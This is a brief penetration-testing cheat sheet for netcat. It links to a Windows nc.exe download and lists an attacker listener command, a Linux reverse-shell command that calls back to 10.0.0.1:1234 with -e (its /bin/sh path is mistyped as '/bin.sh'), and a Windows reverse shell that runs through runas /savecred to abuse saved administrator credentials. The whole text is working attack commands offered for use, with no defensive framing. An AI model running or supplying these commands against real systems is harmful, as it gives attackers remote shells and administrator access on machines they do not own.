nc

https://packetstormsecurity.com/files/31140/nc.exe.html

#nc listener on attacker

nc -lvnp 1234

#Linux client cmd target

nc 10.0.0.1 1234 -e /bin.sh

#Windows client cmd target

#when creds are saved with cmdkey

runas /user:administrator /savecred "nc.exe -e cmd.exe 10.0.0.1 1234"